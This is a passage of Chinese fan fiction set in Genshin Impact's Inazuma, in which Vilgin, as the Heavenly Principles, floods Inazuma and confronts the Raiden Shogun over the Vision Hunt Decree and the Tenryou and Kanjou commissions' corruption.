不是因为深渊对环境的影响,而是因为那些接着锁国令擅自修改法案、加征苛捐杂税的勘定奉行。神明毫无倾向性、为了收缴神之眼制定而出的法案成为人类中饱私囊的帮凶。 巴尔泽布知道稻妻发生的一切吗?还是说在天守阁之内,对异国商人的压榨被她的下属们精心掩藏起来,徒留一副众生和平、了无烦恼的景色呢? “久利须会长。” 维尔金思索良久,想出来一个折中的办法。 “还请麻烦你用文字详细描述一下锁国令颁布后,勘定奉行的种种违法违规行为。” 久利须摇了摇头:“放弃吧……一切书信都无法带出离岛……我们不是没有试过向天领奉行反映勘定奉行在离岛的恶劣行径,但所有举报信就像是石沉大海,再也没有传出哪怕一点回音……” 希望越大失望越大,久利须现在只想解决掉涨的飞快的税金,至于那些旁敲侧击的小钱…… 九利须不敢多奢望了,该花就花吧。 “不是给天领奉行哦。” 维尔金的话让久利须睁大眼,随后的半句话更是有如一声惊雷响在耳边—— “我会亲手交给稻妻的统治者,现任雷神、你们口中的「雷电将军」。” 第48章 第 48 章 螭:大蛇你怎么不笑,是…… 如何绕过戒备森严勘定奉行、将他们搜刮囤积的晶化骨髓一网打尽? 方法很简单, 只需要三个步骤:打开勘定奉行的私库,找到他们私自垄断的晶化骨髓,然后把东西带走。 办法很简单, 实施起来更是一点也不难。 在离岛长牙舞爪地擅用将军托付于他们的职权的勘定奉行, 已经成为了离岛说一不二的地头蛇。狂妄之下, 他们甚至毫不掩饰自己的仓库里面汇聚了异国人的血钱。 据久利须所言, 勘定奉行在离岛的宅邸庭院甚至要比稻妻城中的同为三方奉之一的社奉行华贵的多——能比掌管祭祀和大型活动的社奉行都要大气, 勘定奉行确实从离岛的外国人身上榨出不少油水。 估计也是因为知道放在这里的都是些不义之财,勘定奉行的人派足了守卫的士兵。眼下稻妻全境都在推行眼狩令,勘定奉行的布置足以让普通商人望而却步,只能老老实实去购买那些被垄断的晶化骨髓来作为税金缴纳。 维尔金双手环胸,环视一圈堪称金碧辉煌仓库, 里面不仅有他们此行的目标晶化骨髓,还有堪比黄金屋的摩拉,各种各样的奇珍异宝, 以及—— 无主的灰色神之眼。 不知是否是因为勘定奉行的私库里只有昏黄的灯光照明的原因, 空感觉,维尔金的眼眸像是奔涌的流沙那般晦暗不明,似乎是没想到勘定奉行的仓库内居然会出现无主的神之眼。 维尔金定定地看着已然失去光泽的神之眼, 随后弯下腰, 犹豫了一番后, 将已经完全变成灰色的三颗神之眼拾起, 紧紧握在手掌心中。 从持有者强烈的愿望中诞生的神之眼, 唯有在持有者死亡或是愿望破灭之时才会变成死白的灰。 紧贴着手掌心,在神之眼接触到他的一瞬间,他们原本持有人的一生如同走马灯一样出现在维尔金的脑海中。 维尔金能够感受到曾经这颗神之心的持有者怀揣着多么热切又激烈的、足以让神明的力量投下短暂的目光。他看到了很多,从他们愿望诞生的缘起, 从他们为了实现自己的梦想所付出的一切,以及最后—— 因为神之眼被剥夺、愿望被巴尔泽布亲自用执政官权能切断后,失去活着的目标和希望、崩溃到自杀,神之眼再无重亮的场景。 维尔金抿着嘴,此时他甚至有点分不清自己是在因为巴尔泽布越俎代庖擅自剥夺神之心的生气,还是因为什么别的…… 眼睛酸酸的。 维尔金有些惊慌失措,他抬手,一滴咸水落在指腹。 眼睛模模糊糊的,什么都看不见。眼眶那里好像还在滴水。 这副他珍惜有加皮囊,眼睛好像出毛病了。他只能依稀辨别着空和派蒙的轮廓 “空,派蒙——” 维尔金紧张向模模糊糊只能看见两个轮廓的地方伸出双手,在抓了好几下只抓到空气之后,空一把握住维尔金的手,安慰道: “没事的,维尔金……” 空安抚道:“你只是哭了。来,把眼泪擦干就好。” 派蒙一言不发,空回过头想要她说几句安慰维尔金的话,却发现派蒙的脸色异常镇定,甚至连原来那副笑嘻嘻的样子也收敛了起来。那位的影子注视着不复往日意气风发的顶头上司,郑重其事盯着他的眼眸,说道: “祝贺你,维尔金——”“派蒙”的脸上露出发自内心、却和她本人性格格格不入的笑容。 “你拥有了真正属于自己的感情,不再是对法涅斯的模仿,而是作为天理,遵从内心、裁定世间的生灵。看来往后那些古龙们再也不能用虚假之天来挖苦你了。” 空立马觉察到不对:“派蒙……不对,你不是派蒙!” 空警惕地拉着状态不对劲的维尔金同“派蒙”拉开了距离。后者显然无所谓异乡人的警惕之心,只是看向维尔金,说道: “哪怕是原初的那位再度苏醒,估计也不会想到,你居然会在人类的足迹遍布提瓦特大陆的这一天,领会到名为情感的真谛。” “伊斯塔露,你不是——” “这只是我留下来的一道影子,就像那位留下我们和你一样。” “派蒙”,或者说是占据派蒙身体地伊斯塔露残影看起来无比的轻松。“往后,要是若那瓦还认为你做不到天理的职责,我可要帮你好好给她一个教训了。” “不用啦……反正我都已经习惯了。” 维尔金故作不在乎的样子,转而道:“倒是你,你去哪里了?怎么一直不回天空岛?为什么只剩一缕残念附在派蒙身上?” “时间不多了,请恕我无法一一解释这些问题。总而言之,这是我当年留在派蒙身上的一个后手。残念的出现,说明地上的人类已经陷入了足以让你生出情感的麻烦。显然刚刚,你也体会到了作为天理,陷入到手心手背都是肉的麻烦境地。” 伊斯塔露笑了笑:“有时候感到苦手的时候,想一想自己所做的一切最开始是为了什么。如果事情已经偏离了轨道,无论先前给自己制定了多么严苛的禁锢和限制,还请尽职尽责的维尔金不要再压抑自己心中的怒火,不管是人类还是神明,都给他们一个教训吧——这是法涅斯临走前叮嘱我的,要告诉你的话。” 说完,陌生的神明从派蒙身上离去,时间的碎屑化作一粒粒细沙,随着派蒙的转醒而飘走。 “等等,伊斯塔露——” 维尔金睁大了双眼,手臂伸在半空,他还没来得及跟这位消失多时的执政官多说两句,残影已经彻底随着风消失在空气之中。 抬起的手又失落地垂落下去。 他喜欢和四执政们一起,这会让他觉得,那段混沌的、只有他和法涅斯存在的时光还没有远去一样。 其实他没有那么喜欢人类。 真正爱着人类的是法涅斯,祂爱着这些脆弱又可爱的生灵们,而他只是一个拙劣的模仿者。 恍惚之间,维尔金好像看见了,比四位影子诞生前、更为古早的旧影。 那时候,没有天空,没有深渊,更没有提瓦特,更没有名为维尔金的虚假之天。 法涅斯也不是所谓的原初,祂生着羽翼,头戴王冠,从蛋中出生,此时的世界一片混沌。 对于法涅斯而言,吞噬蛋壳能让祂将孕育自己的混沌力量吸收殆尽,但看着荒芜又漆黑的世界,法涅斯做出了一个大胆的决定。 祂用蛋壳隔绝了「宇宙」和「世界的缩影」。 孕育原初的力量足矣创造出世界,一切原本都非常顺利,直到法涅斯惊讶的发现,原来包裹着祂的蛋壳早就有了自己的意识。蛋壳还在满怀欣喜地期待祂吃掉自己,同祂融为一体,直到被法涅斯装上提瓦特世界后,蛋壳才惊慌失措地出声询问。 法涅斯不忍心因自己疏忽而永远被囚禁在星海之中的蛋壳,只能旁观祂用心创造的世界。 于是祂创造出了发着光的四个影子,又将自己最为贵重的衣裳作为最后的临别赠礼赠与那懵懂的蛋壳。 蛋壳收下了对他而言既是血亲、又是挚友之存在的赠礼。蛋壳将混沌的力量藏在熠熠光辉之中,又将星空之外的力量塞进这副好看的皮囊之中,接过法涅斯的郑重嘱咐后,祂打量着眼前的一切。 祂有个秘密,祂不敢告诉慈爱地看着自己的挚友,其实在蛋壳的眼中,美丽的提瓦特比法涅斯口中污秽的深渊看起来要可怕得多。 但祂不希望因为这些小小的问题,损伤自己同好朋友之间的友谊—— 既然法涅斯希望提瓦特大陆上的人类可以开开心心的生活,那么蛋壳一定会想办法去做。 祂将目光投向了旧世界的主人们,只是四十年,地上的七国全部向祂俯首称臣。 祂和法涅斯一起创造了很多东西,祂看不见世界的美丽,但祂知道如何制作出让法涅斯满意的山川河流—— 凡是蛋壳觉得丑恶的,法涅斯便会觉得其无比美丽。最后,在法涅斯彻底融入这个祂所创造的世界之前,蛋壳鼓起勇气,试图讨要一个属于自己的名字—— “尼伯龙根看穿了我的本相,古龙们称我为虚假之天。” 法涅斯怜爱地对他说道: “你并不虚假,你是与我同源的半身,你的本体支撑着整个提瓦特,你是当之无愧的、支撑着提瓦特世界的天空,那么——” “从今天开始,你的名字是「维尔金」!你是提瓦特的真实之天,是分离宇宙和世界的帷幕——” 法涅斯郑重其事:“你比任何存在都值得被称一声天空岛之主。” 法涅斯说完,灵魂便陷入了永恒的寂静,一如原初之始。 维尔金的目光投向地上,自龙王们死去,新生的、外来的魔神们行走在提瓦特大陆,他们一如尼伯龙根,成为了新的天灾。 于是维尔金降下了名为“爱”的枷锁,又用魔神战争抉择出最适合守护人类、让人类可以正常地过上和平日子的尘世七执政。 维尔金看向手中的三枚已然失去主人的神之眼,最终下定了决心—— 伊斯塔露的话一语惊醒梦中人。的确,他选拔出尘世七执政的目的是为了守护人类,既然魔神做不到这些,那就向处理尼伯龙根一样不就行了吗?不过看在同事一场,只要巴尔泽布愿意好好听人说话,努力改正,他可以既往不咎。 还有深渊——要是他们还不听话,那就去死好了,谁都不许染指提瓦特来之不易的、幸福的生活。 维尔金本人的意志影响着世界的变化。 窝在暗之外海的魔神最先感知到天理又犯病了,海域一阵翻江倒海,巨变的温度惹得海域中央传来此起彼伏的抱怨声。 “不是,又有谁触祂霉头了?深渊吗?” “我寻思这深渊也挺抗揍的,这么老多年也没被打服。” “不对,十分得有十二分的不对劲,你们没发现暗之外海的海水都被抽调走了大半吗?按这个量来算,我赌维尔金要清理门户了。” 沉寂已久的海域热闹起来,醒着的家伙们在看好戏,还有好事的家伙兴致勃勃地要把睡着的当事人弄醒。 “好消息好消息!快醒醒,别睡了奥罗巴斯——”一条纤长的螭摇醒了白色大蛇的灵魂碎片,睡眼朦胧的大蛇神听到死得比祂还凄惨、脑花都被摩拉克斯片得只剩下一丁点的螭兴奋地大喊—— “天理去找巴尔泽布麻烦了!太好了兄弟,你的大仇能报了!虽然不知道她是怎么惹得那位如此大动肝火,但根据我多年累积的经验,巴尔泽布这回恐怕连被偷渡到暗之外海的机会都没有了!可惜了,怎么不是摩拉克斯……欸,兄弟,你怎么这么紧张啊?不要担心啦,我们都老老实实在暗之外海待着,就算复活也没去里边自找没趣,他不会对我们下手的——诶!大蛇,你去哪?别乱跑啊大蛇!!小心被误伤!!”—— 作者有话说:螭:大蛇醒醒,巴尔泽布要倒大霉了!哈哈哈哈!!接摩拉克斯倒大霉! 螭:大蛇你怎么不笑,是有什么心事吗? 第49章 第 49 章 好久不见,巴尔泽布…… 天空倏忽阴沉下来, 云层将一切光源遮挡在外。 暗之外海的水体温度急剧升高,边缘的海水自发地向这片触怒天空岛之主的群岛发起围猎,海岸线不断收紧, 稻妻附近海域的海平面更是以肉眼可见的速度迅速抬升。 从暗之外海被抽调的海水, 正在被用作于铸造囚禁这个由群岛构成的国家。 天理真是要连同巴尔泽布的稻妻也要一同毁灭吗? 一路上奥罗巴斯忧心忡忡, 但事已至此, 他没时间继续细想, 只是加快速度赶往自己心心念念的海祇岛。和至少有大陆架支撑的鸣神岛主体不同,海祇岛是他一点一点用珊瑚堆砌起来的、本不应存在的岛屿。 所以不管是因为渊下宫之事导致巴尔泽布被天理迁怒、亦或是雷神自己招惹了那位,海祇岛无法在两位神明的夹缝中得以幸存。 他必须得赶过去把海祇岛带走。至少尽可能不能让他们被卷入天理的怒火中。 珊瑚宫心海凝重地站在海祇岛的最高处,再怎么算无遗策的军师也无法预判自然法则的多变。原本根据推算,预计未来会被海水淹没的农田至少还能维持几十年的现状。但今天, 只是短短几个小时,漆黑的海水如墨汁一般胶管了沿海的低地,海岸边缘的村庄已经尽数淹没。 “心海大人, 根据您的指示, 我已经将低处的村民安置在了珊瑚宫。”五郎向心海汇报,顺着她的视线看向低下已经成为黑色汪洋的村庄,语气中满是急切, “海水已经上涨了近乎两米, 这绝对不是正常的海水上涨现象!” “这是神明的怒火。” 海祇岛的现人神女巫缓缓叹了口气, 血脉中的灵性告诉她, 这并非凡人所能及。 忽然间, 后方爆发出巨大的欢呼—— “潮水退下去了!太好了!” 但是也有眼见的人发现了端倪—— “不!不是海水退下去了,是海祇岛在上升——” 有大胆的海祇岛人壮着胆子凝视下方如深渊一般的黑色海水,随即有人惊呼—— “是大蛇!传说中的大蛇托举着海祇岛!!” “是远吕羽氏!珊瑚宫心海大人,是海祇大御神在托举海祇岛——” 珊瑚宫心海也走到悬崖边缘, 向下看去,那是一条巨大又美丽的白色大蛇。乳白的鳞片比上好的珊瑚珍珠还要具有光泽,巨大的蛇头上戴着珊瑚状的粉色皇冠。 但是和上方的人类所看到的只是托举着海祇岛不一样,奥罗巴斯此刻还承受着来自灵魂和身体两个方面的夹击。 “奥罗巴斯,你离开了暗之外海。” 维尔金的语气不含丝毫的情感。但在奥罗巴斯的耳中,这无异于天理为他敲响了丧钟,他不敢乱动让海祇岛散架,只能祈求。 “仁慈又爱人的天空岛之主,我祈求您垂怜这些无辜的人们,他们无法在您的怒火中活下去。” 白色大蛇盘成了一个巨大的蚊香盘,只能垂下巨大的头颅,乞怜天理爱人的本性能够发挥一些作用。他希望,就算要惩治,至少等他帮助海祇岛人度过这次危机后,再治罪于他。 维尔金没有说话,如墨般的海水已经替天空岛的主人回答了奥罗巴斯的祈求,海水顷刻间风平浪静,漆黑的海水从中间分出,露出来原本湛蓝的海面。 只是那个方向—— 维尔金:“你带海祇岛人去暗之外海避一避吧,奥罗巴斯。” “感谢您的宽恕……”原来天理不是为海祇岛地下的白夜国而发怒,意识到事情还有的回旋余地的奥罗巴斯小心翼翼地为背上的人类讨要护身的通行证: “但是暗之外海魔神和非人类众多,以我目前的实力,恐怕……” 维尔金忍不住叹了口气,将先前从天领奉行仓库里搜罗的晶化骨髓丢给了盘着的大蛇,大蛇眼睛一亮,张开嘴一口吞下了蕴含地脉力量和自己血肉的晶化骨髓。 “不多,但应该够你游到暗之外海了吧?顺便——大家应该都在偷偷听我跟奥罗巴斯说话吧?” 维尔金逐一点名:“巴巴托斯,摩拉克斯,玛尔巴斯,看起来很是面生的水龙、躲在巴巴托斯头顶上的魔女,暗之外海泡着的长生种,以及想要趁乱搞事的深渊废物们——” “剩下那些地方太远或者是太弱的我就不一一点名了,希望大家有自知之明,不要碍事。” “还有脑子里正在想些有的没的家伙们,你们最好祈祷奥罗巴斯和他的人类可以平安抵达暗之外海。不然,我会让大家回忆一下……那些年美好的回忆。” 说完,维尔金在虚空中用力一握,提瓦特大陆各处的视野便全部被维尔金单方面掐断。 往生堂会客室内,维尔金的那一握直接把钟离珍藏多年的窥视之镜干碎。 钟离没有丝毫意外,对温迪说道:“无碍,到时候麻烦琴团长送来赔偿金即可。" “居然真的发现了欸。”温迪泄气般地一口干掉整壶钟离自掏腰包自费够买的好茶,认真思考:“可是上次特瓦林在天上观察他,他都没有发现……” 钟离抿了一口茶后,缓缓道:“早跟你说,不要在这种时候触他的霉头。平时的时候,他不会在意这些有的没的,但巴尔,不……巴尔泽布确实是糊涂了,加之先前那一缕「时间」的千风气息已经足够惹人注目。人一多,难免惹得他不快,好奇心的确害死猫,这次大家都被他记上了一笔,当个教训吧。” “诶嘿,没关系,反正不是我一个人就好。” 温迪嘿嘿一笑,随即将话题扯回正事来: “去不去趟稻妻凑凑热闹?我都好久没见到那些老熟人了,我上次听安德留斯说,好多死得透透的老熟人都在那里寄存了一块灵魂碎片——肯定比提瓦特有意思多了!” ——就连巴巴托斯也不由得感慨:奥罗巴斯运气真的太好了。 在众多条死路中,找到了唯一的生门。 与此同时,幸运的奥罗巴斯奋力向来时的方向游去。 有天理亲自发话,那暗之外海可就比稻妻安全多了。 似乎是为了印证猜想,奥罗巴斯故意放缓了游速,想要趁着自己力量回来了一部分,先给暗中盯着的家伙们一个教训。 底下海水涌动原本以为是想抢他背上的人类,结果没想到,海底不知道是哪个一直在偷窥的魔神一看到奥罗巴斯放慢速度,还以为大蛇没劲游了,急得当场在海底划水,试图为大蛇减小海面阻力。 正当大蛇准备开口嘲笑下面不知是哪个愚蠢的同胞时,一股强大又熟悉的推背感和吵吵嚷嚷的聒噪声从海水中袭来。 “大蛇你累了吗?累了我来帮你背海祇岛吧,我就是想背一背,一定不会弄坏的!” “别想丧气事别说丧气话,游不动的话好兄弟你先歇着,我来驼你!” “大蛇,你现在的唯一任务就是带着这座小岛去暗之外海睡大觉,等会我给你调一个你当上尘世七执政脚踩摩拉克斯拳打巴尔姐妹的美梦。大蛇,一定不要半路撂桃子啊!” 叽叽喳喳的烦人声音从海底传到奥罗巴斯耳中,虽然背上的人类们应该听不见这帮混账同胞们说的鬼话,但几百年难得用一回的羞耻心莫名覆盖全身,躁得奥罗巴斯闭上眼就是往暗之外海冲。 “这位大蛇,你不要碰瓷哈,这边是深渊裂缝,那边才是回暗之外海的路。” 震荡迫使奥罗巴斯调转方向,他这时候才发现,甚至连天理视为提瓦特污点的深渊,都自发地绕着他吐黑泥。 哪怕是天理的敌人,也不敢轻易触怒他。 天守阁内,枯坐冥想的人偶将军睁开无机质的紫色眼眸,侍奉在神明身旁、时时刻刻以替雷电将军分忧为己任的九条家家主九条孝行屈膝蹲下,这位天领奉行的实际幕后主导者低下了高傲的头颅。 “外面发生了什么。” 年迈的九条孝行跪服后,谦卑道:“天领奉行的武士们正忠诚地执行将军颁布的眼狩令,尊贵的将军,无须为那些庸人的长吁短叹所困扰,忠诚地九条家必将为您扫清一切障碍。” 将军理应如往常一样颔首点头,然后继续冥想。 但是这一次,九条孝行感受到来自上方的视线猛然冰冷,然后他就听到那位自颁布锁国令和眼狩令以来就再也没下达过任何指令的雷电将军问道: “你确定,没有任何要向我汇报的事情吗?” 寒意从脊柱侵袭瞬间蔓延全身,哪怕九条孝行自信将一切消息都封锁在天守阁之外,也不免有一瞬间生出来些许慌乱。但很快,这一丝异样就被他强压下去。 他再次跪服,但仍旧是一样的回答: “将军,自眼狩令颁布以来,稻妻民众的生活得到了稳定的保障;锁国令更是将一切不安的源头排除在外。在您的庇护下,稻妻如今已是一片祥和安宁——” “九条大人,将军大人,不好了——”前来汇报的武士慌慌张张,甚至连话都说不清。 “海水在上涨——不,不对!是海水锁住了稻妻!” “怎么回事!慌慌张张,不成体统!”九条孝行眉头紧蹙,训斥着突然拆了他的台的武士,厉声喝到—— “说清楚,将军大人就在这里,有将军在,我们还有什么好怕的!” 这番既像是提醒又像是鼓舞的言语让影微微皱了皱眉头。没有等武士继续说清楚情况,也没有让九条孝行再去让天领奉行的人求证,影接管了人偶的身躯。 她看向被屋顶封锁的穹顶,冷冷瞥了眼还在试图辩解什么的九条孝行。后者被神明的威严所震慑,一时之间说不出一句话来。 影也没有指望他能够说什么。 拔刀,起势—— 九条孝行痴迷地仰望着这看似平平无奇的一刀,眨眼之间,华美的楼阁瞬间被切成两半。此时此刻,被奉行遮蔽双目的将军终于看到眼前稻妻城中宛若末日一般的景象—— 黑水自上而下,墨色的水幕严严实实地锁住了整个稻妻城。原处望去,不论是象征鸣神大社的影向山、那开阔的原野,甚至连她的子民,都统统被高耸的水幕所替代。 “好久不见,巴尔泽布。看到你这副模样,我感觉自己当年的决定很失败。” 声音的主人位于雷神的正上方,影抬起头。 只是这一眼,就让她变了颜色。原本信心满满的九条孝行发现,自己仰仗的将军大人居然收起了她的武器,单膝跪地,一如九条孝行跪拜将军那般,向伫立于高处的那个不知从何而来的家伙单膝跪地—— “不知您亲临稻妻,执政官巴尔泽布有失远迎,还请您切莫降罪于稻妻子民。”—— 作者有话说:啊啊啊啊我也好想加更QAQ无奈工作日被工位禁锢,爪速又太慢 第50章 第 50 章 巴尔泽布无法理解 一直被视为稻妻守护神的雷电将军, 在向天上那个九条孝行从来没有听说的存在俯首称臣。 这一惨烈的现实无疑将九条孝行膨胀的信心瞬间击碎,随即紧接而来的,便是透彻心扉的凉意—— 统治提瓦特大陆的尘世七执政如果并不是立于世界顶点的存在, 如果真正的神明无所不知。那他们蒙蔽神灵、欺上瞒下的事情…… 冷汗瞬间从年迈的九条孝行发鬓里滴下来, 他甚至连支撑自己双腿的力气都失去, 若不是腰侧的打刀被他插在地上支起身体, 他早就直接瘫软在地。 “完了……全都完了……” 九条孝行绝望地抬头, 密不透风的黑色海水已然封锁了整座稻妻城,而承载他全部希望的将军的一切行为无不在表明—— 位于天空中央、召唤出如此庞大又可怖水牢的存在,是一个比「雷电将军」更强大、地位更为尊贵的神明。 将军一定会知道眼狩令和锁国令的真实状况了—— 身旁人类的失态没有吸引影的注意力,在她看来,维持了五百年的和平会让天领奉行的刀剑生锈, 但这无所谓。 影不会指望人类能够用凡铁指向深渊和天空,所以刀剑和神之眼,对于稻妻人来说不是必须的。她想办法会解决眼前的问题。 但天理不是问题, 天理是上司。 按照姐姐传授给她的经验, 如果不知道天理想要做什么,恭敬地低头,保持沉默和敬畏即可。 于是影恭敬地低头, 等候维尔金的惩戒。 虽然她现在还不清楚天理为什么生气, 她相信天理绝对不会滥杀无辜。所以只需要坦诚地承认自己因为将执政官的权力下放造成的问题, 维尔金必定不会再多追求稻妻人民的过错, 最多是惩罚她一人而已。 巴尔泽布的小心思被维尔金尽收眼底。 见到影似乎单纯的认为只需要认错领罚就能解决问题, 所以将问题又抛回给维尔金后,后者则是显而易见的失望。 多么无私的执政官,多么忠诚的武士。 在尚未知晓一切事情的原委之前就擅自将罪责归咎于己身,作为一国的执政官, 对自己治下的国家的情况一无所知,却又能够清楚感受到维尔金的怒火后,选择独自承担一切。 真是令人感动,但维尔金无动于衷。 独揽罪责除了能够让上位者发泄无处宣泄的怒火之外毫无用处,如果天空岛的主人真的是一个会因为执政官不亲自迎接便大发雷霆的僭主,而巴尔泽布又是他征伐异国的将军,那么巴尔泽布的做法就没有问题。 但维尔金从来不会无缘无故的降下制裁,巴尔泽布也不只是一把对准深渊的利刃,她最重要的职责是“执政官”,而非“将军”。 巴尔泽布做的都是将军做的事情,而非一个执政官应该做的。 面对天理乍然降世,巴巴托斯和摩拉克斯那两根老油条,没有沉默,而是叭叭叭个没完地向他解释用意,再做出未来的保证。 而如果是厄歌莉娅和布耶尔,她们会命令自己的眷属献上成文的记载,以向他证明,她们国家已经在计划中运行…… 将军可以沉默,因为将军是刀。执政官不能沉默,执政官才是决定国家前行方向的存在。 如果执政官只有在战争时期才能发挥作用,那他何必选出七执政来管理国家,而不是干脆让所有魔神去镇守深渊? 天空岛之主不易觉察的叹息被黑水所淹没,除了在场的人类,这声轻微到如同错觉一般的怜悯之音只被影所听清。 祂在叹息什么? 是为稻妻人的不敬、是为她的疏忽、还是为这片大地上正在实行的眼狩令?还是说这三者皆有? 她听到那位从不轻易下界的存在开口。天空的声音听不出来喜怒,但维尔金接下来的话已经让本就因为突发事件乱了心绪的影,心脏更是漏停了一拍。 “我听摩拉克斯说,你似乎认为,唯有「永恒」,才更为接近「天理」,所以你颁布锁国令,限制人类出境,又推行眼狩令,收缴天空岛赐予众生的神之眼……” 维尔金停顿了一下,他只是用最本真的语言复述了一番巴尔泽布所做的一切。 但此刻哪怕是浸心于纯粹的武艺和一心净土的巴尔泽布也听得出来,明明都是她的旨意和意志,但是此时此刻怎么听怎么觉得别扭。甚至这些话明明分开来不是这个意思,但是被维尔金完整组合在一起,怎么像是……她在窥伺天理之位? 天空岛之主没有理会后知后觉的影,继续说道: “每一位拥有神之眼的存在,皆有资格登上天空岛,那么巴尔泽布,抬起头,回答我的问题。” 影抬起头,仰望着眼中泛起一如五百年前坎瑞亚战争时期的曦光。他垂眸,声音如极冰一般,几乎冻结了巴尔泽布的呼吸声。她听见这位只对深渊发泄过怒火和无边的神力的天空岛之主隐含着愤怒的言语—— “谁给你的权力擅自剥夺天空对地上的赏赐?又有谁给你的自信,让你认为在擅离职守,把自己困在一副可笑的如人偶一般的身躯里,盘坐在远离人间的天守阁,只需要关注外界的入侵、做到抵御外敌,就能够恪尽尘世七执政的职责与义务、保护你的子民?” 巴尔泽布依旧一言不发,维尔金顿了顿,深吸口气,堪堪克制住自己的怒火。 冰冷的金眸扫过底下已经面如土色的人类,他不知道巴尔泽布为何始终都没有任何反应,但这也让维尔金好不容易平息下来的怒火再度重燃—— “我让摩拉克斯放话时机已至,我让璃月的人类统治者璃月七星提醒,但巴尔泽布,你太让我失望了——你不知道距离鸣神岛咫尺之间的离岛上,勘定奉行利用你颁布的政策大肆敛财,欺压人类;你不知道失去神之眼后,他们不仅失去了成神的资格,甚至连赖以生存的信念也会一同失去;你毫无保留地相信你身边的人类,却闭眼不去看另一群哀嚎的人类……” 可怕的威压席卷而来,影冷哼一声,令人胆寒的扫视已经让周边的人类彻底昏厥,但是刚刚维尔金说的每一个字,都让坚持认为自己是走在正确道路上的影,生出迷茫。 “巴尔泽布,如今你对外界消息的感知程度甚至不如蜗居在地缝里的深渊。是,你现在看见了水牢,于是劈开了天守阁,但这个水牢——” “但是我必须提醒你,我的执政官,是你创造的这座水牢。” “今天之前,它早早地就在这里。今天之后,如果你今天无法交出一份令我满意的答卷,那么它将永远存在于这里。” 冰冷的金色成为了漫天黑水密布的最后一丝暖意。 ——令天理,满意的答卷。 来不及思考,来不及追责,也来不及质问奉行。只有巴尔泽布一人仍能够站立于此,高高在上的天空岛之主睥睨世间,要她给出答案。 影抿唇,闭上眼,再度睁开,神力已经充盈全身,她将存放于一心净土的念力尽数收拢至这副身躯。 “维尔金大人,失礼了!” 樱色的振袖无风自起,巴尔泽布坚定地看向自己的顶头上司,说出自己心中的答案: “我许臣民永世之乐土。因只要前进,便会有所失去。我相信,人类的力量不足以对抗任何外来的危险,唯有“永恒”能令万物停驻,能令稻妻长生不灭,唯有永恒,才是最接近您的意志与嘱咐,托付于我等最终目标——” 雷光瞬间大作,影在一心净土苦心孤诣多年、积攒的力量终于彻彻底底地展现出来。 狂躁的雷电纵使是面对更高一层次的天空岛之主也没有丝毫怯懦,她将用这托付了她五百年以来的沉淀和心愿,向她的上司证明—— 「无想的一刀」 这是雷神巴尔泽布的最强一刀,雷电将军武艺的极致,更是包含着她的执政理念。 她寄希望于能让维尔金看见她为之所付出准备的一切,她希望这能让天理认可她的做法,她也希望这就是能够让天理满意的答卷。 然而,维尔金叹了口气。 不可否认,巴尔泽布是位实力强悍的魔神。 这招灌注了影百分之百力量的一刀,足矣窥见哪怕时至今日,巴尔泽布也不曾懈怠于精进自己的武艺与信念。 但,还不够。 寒冰冻结了无往不利的刀刃,黑水随即涌上前来,将包裹着雷光的寒冰吞噬殆尽。 维尔金很少在尘世七执政面前展现作为「虚假之天」的本能,这份力量太过于漆黑,能够将所吞噬到的力量本源和情感尽数拆解出来。 他咀嚼着那一刀,在巴尔泽布震惊的目光下吞噬掉了雷光,天空又恢复到只剩下黑水的世界。 维尔金需要的是一个统领国家前行的稻妻执政官,而不是一个只会在战争期间前往前线搏杀的武士。 “你的实力一如既往,你的武艺依旧卓尔不凡,当年,巴尔向我提议,你们双生姐妹共享王座时,我没有拒绝。而当巴尔死后,你顺理成章继承你们姐妹二人的神位时,我也不认为有任何问题。我相信一千五百年的时光,已经足够你学习如何成为一个合格的执政官。” 维尔金顿了顿,回味着雷光之中蕴含的酸楚和逃避—— “只是我没有想到,时隔五百年,你依旧沉湎于巴尔身死的痛苦,甚至将私心加诸于稻妻。” “我很失望。” “巴尔泽布,你依旧选择沉湎于将军的美梦,而非选择成为尘世的神明,去指引他们前行。” 影看起来有些手足无措。 她从未想过这一刀被天理否认的可能。此时此刻,先前自信满满的宣言,都显得那么苍白,那么无力。 那天理,到底想要一个什么样的答案?《 》 50-60 第51章 第 51 章(捉) 过渡一下 雷电影从来不需要去强迫自己思考这个问题。 坎瑞亚战争之前, 真会在夜里同她相拥而眠的时候,在耳畔告诉她天理的用意,在每个因激动而无法睡去的夜里指着天空中的星辰, 畅想着如何让稻妻成为一个更加美好的国家。 她们的国度离深渊太近, 离天空太远。雷电真曾猜测, 这就是天理默许了影跟自己共用神位的原因。而影从来不认为自己会在某天失去真。 她们曾经坚定的认为, 魔神战争胜利之后, 作为胜者,真与影,将同她们的眷属一起共享胜利的甘澧。 真在明,影在暗。一位司职执政之位,真虽然不善武力, 却能在有重重守卫的尽情施展着作为执政官的才能。一位执掌化身此世殊胜威怖之躯,虽不懂人性,却能在太阳的阴影之下用手中的刀剑斩却一切存在对稻妻威胁的事物。 她们是如此的相配, 像是两个互为残缺的楔子在命运的眷顾下成为彼此的姊妹, 让她们从出生起就找到了能够拼成无缺之圆的灵魂侣伴。 她们谁都没有想到,原来命运馈赠背后的明码标价,居然连神明也无法偿付。 也是这样令人绝望的一天。 不同的是, 那是天理所憎恶的深渊。大地裂出缝隙, 真自己应维系者召令前往坎瑞亚, 影在平定了稻妻的祸乱后就马不停蹄地赶往坎瑞亚, 但一切终究还是太晚了。 她们互相失去了彼此, 嵌合的完美之圆独留一个空荡荡的半圆弧,但她的民众们却认为,她还是那个没有缺点的完美神明。 但她已经不是了。 神名为「巴尔泽布」的雷电影最为仰仗的是自己磨炼多时的武艺,这是她绝对的自信。她知道自己不会是天理的对手, 但她坚信,自己这份执念、自己这五百年的冥想与断绝,足矣让天理承认她为稻妻所付出的一切,承认她永恒之念的正确性。 但,天理居然否定了这份完美的、绝无苦楚的完美世界的存在。 那……如果是姐姐,如果是真……她会怎么回答呢? 如果当初前往坎瑞亚集结的事「巴尔泽布」,留守稻妻、稳定大后方的事「巴尔」……姐姐……一定会做得比她更能够让天理满意吧? 影已经无能为力,她自认已经给出了最完美的答案。 对天理而言,有什么答案是比铲除一切不安定的因素,在事物最美好的时刻保留它的美丽与生机更合适的答案呢? 【是人哦,影。】 影甚至连呼吸都为止一顿。 她目光微微偏移到声音的来源之处。但除了一缕清风和空荡荡的樱花以外,什么都没有。 但她心中无比清楚,那声音的主人,便是她五百年来午夜梦回时,最想见到的存在。 姐姐。 影在心中默念这个称呼。 【维尔金大人暂时听不见我们讲话,但伊斯塔露大人遗留下来的力量不多,我无法替你回答——】 影放下的心陡然悬起。 